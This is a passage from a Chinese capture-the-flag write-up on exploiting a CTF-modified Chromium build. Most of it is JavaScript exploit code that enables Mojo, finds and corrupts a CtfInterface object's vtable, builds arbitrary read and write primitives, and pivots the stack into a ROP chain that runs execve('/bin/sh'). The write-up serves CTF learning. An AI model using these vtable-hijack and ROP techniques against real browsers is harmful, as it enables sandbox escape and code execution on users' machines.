punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'chrome_base = '</span> <span class="token operator">+</span> chrome_base<span class="token punctuation">.</span><span class="token function">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> is_mojo_js_enabled <span class="token operator">=</span> chrome_base <span class="token operator">+</span> <span class="token number">0x000000000c560f0en</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> is_mojo_js_test_enabled <span class="token operator">=</span> chrome_base <span class="token operator">+</span> <span class="token number">0x000000000c560f0fn</span><span class="token punctuation">;</span>    <span class="token comment">// enable mojo</span>    <span class="token function">arb_write</span><span class="token punctuation">(</span>is_mojo_js_enabled<span class="token punctuation">,</span> <span class="token number">1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">arb_write</span><span class="token punctuation">(</span>is_mojo_js_test_enabled<span class="token punctuation">,</span> <span class="token number">1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'mojo enable!'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    window<span class="token punctuation">.</span>location<span class="token punctuation">.</span><span class="token function">reload</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">sandbox_escape</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token comment">// ...</span><span class="token punctuation">&#125;</span><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">pwn</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">typeof</span><span class="token punctuation">(</span>Mojo<span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token string">'undefined'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"enabling mojo ..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token function">enable_mojo</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>            console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"sandbox escape ..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">await</span> <span class="token function">sandbox_escape</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>stack<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token function">pwn</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">&lt;</span><span class="token operator">/</span>script<span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h4 id="Sandbox-Escape"><a href="#Sandbox-Escape" class="headerlink" title="Sandbox Escape"></a>Sandbox Escape</h4><p>刷新页面之后就开启了 Mojo，可以开始与 Mojo 交互了</p><p>先写好与 CtfInterface 交互的函数：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">ctfRead</span><span class="token punctuation">(</span><span class="token parameter">ctf<span class="token punctuation">,</span> offset</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> f_b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> i_b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BigUint64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> float_val <span class="token operator">=</span>  <span class="token keyword">await</span> ctf<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span>offset<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span><span class="token keyword">return</span> r<span class="token punctuation">.</span>value<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    f_b<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> float_val<span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token function">BigInt</span><span class="token punctuation">(</span>i_b<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span><span class="token parameter">ctf<span class="token punctuation">,</span> offset<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> f_b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> i_b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BigUint64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span>    i_b<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> value<span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token keyword">await</span> ctf<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span>f_b<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> offset<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span><span class="token keyword">return</span> r<span class="token punctuation">.</span>value<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">ctfResize</span><span class="token punctuation">(</span><span class="token parameter">ctf<span class="token punctuation">,</span> size</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token keyword">await</span> ctf<span class="token punctuation">.</span><span class="token function">resizeVector</span><span class="token punctuation">(</span>size<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span><span class="token keyword">return</span> r<span class="token punctuation">.</span>value<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">ctfCreate</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> ctf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">blink<span class="token punctuation">.</span>mojom<span class="token punctuation">.</span>CtfInterfacePtr</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> req <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">mojo<span class="token punctuation">.</span>makeRequest</span><span class="token punctuation">(</span>ctf<span class="token punctuation">)</span><span class="token punctuation">;</span>        Mojo<span class="token punctuation">.</span><span class="token function">bindInterface</span><span class="token punctuation">(</span>blink<span class="token punctuation">.</span>mojom<span class="token punctuation">.</span>CtfInterface<span class="token punctuation">.</span>name<span class="token punctuation">,</span> req<span class="token punctuation">.</span>handle<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> ctf<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>由于与 Mojo 的通信方式大多数是回调的方式（从 C++ 源码中也可以发现），基本都是异步的，为了方便，使用 async 的函数来写</p><p>Mojo 与 v8 运行在不同的进程里，我们还要 leak 出 Mojo 所在进程的地址，才能在后续构造 ROP 拿 shell</p><p>逆向可以发现 Ctf 对象存在如下结构：</p><pre class="line-numbers language-none"><code class="language-none">+ 0x00 vtable_ptr+ 0x08 vector_base+ 0x10 vector_end<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>只要通过越界写，更改 vtable_ptr 即可劫持虚表，从而劫持程序控制流，控制 <code>vector_base</code> 和 <code>vector_base</code> 字段还可以方便的进行任意地址的读写</p><h5 id="find-Ctf-Object"><a href="#find-Ctf-Object" class="headerlink" title="find Ctf Object"></a>find Ctf Object</h5><p>由于 Mojo 对象的内存地址不稳定， 需要不断的分配对象，根据特征，直到找到为止：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">let</span> vec_base <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token keyword">let</span> vec_end <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token keyword">let</span> size <span class="token operator">=</span> <span class="token number">4</span><span class="token punctuation">;</span><span class="token keyword">let</span> rop_len <span class="token operator">=</span> <span class="token number">0x10</span><span class="token punctuation">;</span><span class="token keyword">let</span> vtable <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token keyword">let</span> vtable_offset <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token keyword">let</span> ctf<span class="token punctuation">,</span> arb<span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'finding vector address...'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">while</span> <span class="token punctuation">(</span>vtable_offset <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    ctf <span class="token operator">=</span> <span class="token function">ctfCreate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    arb <span class="token operator">=</span> <span class="token function">ctfCreate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">await</span> <span class="token function">ctfResize</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> size<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">await</span> <span class="token function">ctfResize</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> rop_len<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> size<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> i<span class="token punctuation">,</span> <span class="token number">0xfebabedeadbeefn</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> rop_len<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> i<span class="token punctuation">,</span> <span class="token number">0xfebabedeadbeefn</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">4</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0x1000</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">let</span> val <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">ctfRead</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>val <span class="token operator">&amp;</span> <span class="token number">0xfffn</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0x4e0n</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token comment">//(vtable &amp; 0xfff) == 0x4e0</span>            <span class="token keyword">let</span> base <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">ctfRead</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> i<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">let</span> end <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">ctfRead</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> i<span class="token operator">+</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                        <span class="token keyword">if</span> <span class="token punctuation">(</span>end <span class="token operator">></span> base <span class="token operator">&amp;&amp;</span> <span class="token function">Number</span><span class="token punctuation">(</span>end <span class="token operator">-</span> base<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">8</span> <span class="token operator">*</span> rop_len<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token comment">// found!</span>                vtable <span class="token operator">=</span> <span class="token function">BigInt</span><span class="token punctuation">(</span>val<span class="token punctuation">)</span><span class="token punctuation">;</span>                vec_base <span class="token operator">=</span> <span class="token function">BigInt</span><span class="token punctuation">(</span>base<span class="token punctuation">)</span><span class="token punctuation">;</span>                vec_end <span class="token operator">=</span> <span class="token function">BigInt</span><span class="token punctuation">(</span>end<span class="token punctuation">)</span><span class="token punctuation">;</span>                vtable_offset <span class="token operator">=</span> i<span class="token punctuation">;</span>                console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>vtable_offset<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">: vtable = 0x</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>vtable<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, vec_base = 0x</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>vec_base<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, vec_end = 0x</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>vec_end<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token keyword">break</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span> <span class="token comment">// for (let i = 4; i &lt; 0x1000; i++)</span><span class="token punctuation">&#125;</span> <span class="token comment">// while (vec_base == 0)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>同时得知了 Ctf 对象的虚表指针，可以计算得到程序的基址：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">let</span> chrome_base <span class="token operator">=</span> vtable <span class="token operator">-</span> <span class="token number">0xbc774e0n</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>然后还可以构造任意地址读写：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">arb_read</span><span class="token punctuation">(</span><span class="token parameter">addr</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> vtable_offset<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">,</span> addr<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> vtable_offset<span class="token operator">+</span><span class="token number">2</span><span class="token punctuation">,</span> addr<span class="token operator">+</span><span class="token number">8n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> val <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">ctfRead</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> vtable_offset<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">,</span> vec_base<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> vtable_offset<span class="token operator">+</span><span class="token number">2</span><span class="token punctuation">,</span> vec_end<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> val<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">arb_write</span><span class="token punctuation">(</span><span class="token parameter">addr<span class="token punctuation">,</span> val</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> vtable_offset<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">,</span> addr<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> vtable_offset<span class="token operator">+</span><span class="token number">2</span><span class="token punctuation">,</span> addr<span class="token operator">+</span><span class="token number">8n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> val <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> val<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> vtable_offset<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">,</span> vec_base<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> vtable_offset<span class="token operator">+</span><span class="token number">2</span><span class="token punctuation">,</span> vec_end<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> val<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>不过最终的 exp 中没有用到上面的任意地址读写的函数</p><h5 id="ROP"><a href="#ROP" class="headerlink" title="ROP"></a>ROP</h5><p>为什么要使用 ROP，而不是利用上面的任意地址读写，来泄露 libc 地址再改 <code>__free_hook</code> 的方式呢？</p><p>有多种原因：</p><ol><li>题目没有给 libc，泄露了 libc 地址，还得麻烦去查是上面版本的 libc</li><li>程序是 C++，调试的时候发现，malloc 和 free 都不是 glibc 里的 malloc 和 free，实际是 C++ 的 allocator，虽然调试的时候发现同样有类似的 hook，但是参数不好控制</li><li>程序使用了 execve，只要知道程序基址，很容易就可以算出 plt 的位置，不需要过多的 leak</li></ol><p>要想 ROP 就要控制栈，直接布局 ROP 在栈上是不太可能的，可以考虑栈迁移</p><p>调试下 chrome：</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell">$ python3 -m http.server <span class="token operator">&amp;</span>$ gdb chromium/chrome<span class="token builtin class-name">set</span> args --headless --disable-gpu --remote-debugging-port<span class="token operator">=</span><span class="token number">9222</span> --user-data-dir<span class="token operator">=</span>/tmp/userdata --enable-logging<span class="token operator">=</span>stderr --js-flags<span class="token operator">=</span><span class="token string">"--allow-natives-syntax"</span> http://127.0.0.1:8000/exploit.html<span class="token builtin class-name">set</span> follow-fork-mode parentb CtfInterfaceImpl::Read<span class="token punctuation">(</span>unsigned int, base::OnceCallback<span class="token operator">&lt;</span>void <span class="token punctuation">(</span>double<span class="token punctuation">)</span><span class="token operator">></span><span class="token punctuation">)</span>r<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以发现调用方法的时候，rax 寄存器存的就是虚表的指针：<br><img src="/images/68622871/11.png" alt="debug"></p><p>程序含有 <code>xchg rax, rsp; ret</code> 的 gadget，那么可以栈迁移到虚表的地方进行 ROP，可以先伪造一个虚表，布置 ROP，然后改写 vtable 指针指向伪造的虚表，触发 <code>xchg rax, rsp; ret</code> 后栈迁移进行 ROP，执行 <code>execve(&quot;/bin/sh&quot;, &#123;NULL&#125;, &#123;NULL&#125;</code> 即可：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">let</span> fake_vtable <span class="token operator">=</span> vec_base<span class="token punctuation">;</span><span class="token keyword">let</span> rop_base <span class="token operator">=</span> vec_base<span class="token punctuation">;</span><span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> chrome_base <span class="token operator">+</span> <span class="token number">0x3d994e1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// add rsp, 0x20; pop rbp; ret;</span><span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> chrome_base <span class="token operator">+</span> <span class="token number">0x590510en</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// xchg rax, rsp; ret; -> ResizeVector (rax = vtable)</span><span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">,</span> chrome_base <span class="token operator">+</span> <span class="token number">0x37bb280n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// pop rdi</span><span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">,</span> rop_base<span class="token operator">+</span><span class="token number">14n</span><span class="token operator">*</span><span class="token number">8n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token comment">// addrOf"/bin/sh"</span><span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">,</span> chrome_base <span class="token operator">+</span> <span class="token number">0x099b8ee0n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// pop rsi</span><span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">9</span><span class="token punctuation">,</span> rop_base <span class="token operator">+</span> <span class="token number">13n</span> <span class="token operator">*</span> <span class="token number">8n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// args</span><span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">,</span> chrome_base <span class="token operator">+</span> <span class="token number">0x3655332n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// pop rdx</span><span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">11</span><span class="token punctuation">,</span> rop_base <span class="token operator">+</span> <span class="token number">13n</span> <span class="token operator">*</span> <span class="token number">8n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>       <span class="token comment">// env</span><span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">12</span><span class="token punctuation">,</span> execve_plt<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// env</span><span class="token comment">// await ctfWrite(arb, 13, rop_base + 14n * 8n);       // addrOf"/bin/sh"</span><span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">,</span> <span class="token number">0n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                        <span class="token comment">// NULL</span><span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">14</span><span class="token punctuation">,</span> <span class="token number">0x68732f6e69622fn</span><span class="token punctuation">)</span><span class="token punctuation">;</span>         <span class="token comment">// "/bin/sh"</span><span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">15</span><span class="token punctuation">,</span> <span class="token number">0n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                        <span class="token comment">// NULL</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'change vtable ...'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> vtable_offset<span class="token punctuation">,</span> fake_vtable<span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'pwn!'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">await</span> <span class="token function">ctfResize</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">0x2333</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><p>最终从 chrome 到拿 shell 的完整 exp 如下：</p><pre class="line-numbers language-html" data-language="html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>mojo/mojo_bindings.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token 